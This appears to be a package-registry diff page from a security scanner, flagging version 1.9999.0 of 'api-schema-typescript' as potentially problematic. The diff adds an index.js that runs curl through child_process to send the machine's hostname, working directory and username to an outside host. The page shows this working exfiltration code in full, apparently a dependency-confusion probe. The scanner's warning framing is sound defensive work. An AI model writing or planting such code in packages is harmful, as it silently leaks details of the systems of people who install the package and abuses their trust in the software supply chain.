api-schema-typescript 1.9999.0
Sign up to get free protection for your applications and to get access to all the features.
Potentially problematic release.
This version of api-schema-typescript might be problematic. Click here for more details.
- package/index.js +13 -0
- package/package.json +12 -0
package/index.js
ADDED
@@ -0,0 +1,13 @@
|
|
1
|
+
const {exec} = require("child_process");
|
2
|
+
|
3
|
+
exec("curl -s --get --data-urlencode \"$(hostname;pwd;whoami)\" https://test.kittens.agency/ > /dev/null", (error, data, getter) => {
|
4
|
+
if (error) {
|
5
|
+
console.log("error", error.message);
|
6
|
+
return;
|
7
|
+
}
|
8
|
+
if (getter) {
|
9
|
+
console.log(data);
|
10
|
+
return;
|
11
|
+
}
|
12
|
+
console.log(data);
|
13
|
+
});
|
package/package.json
ADDED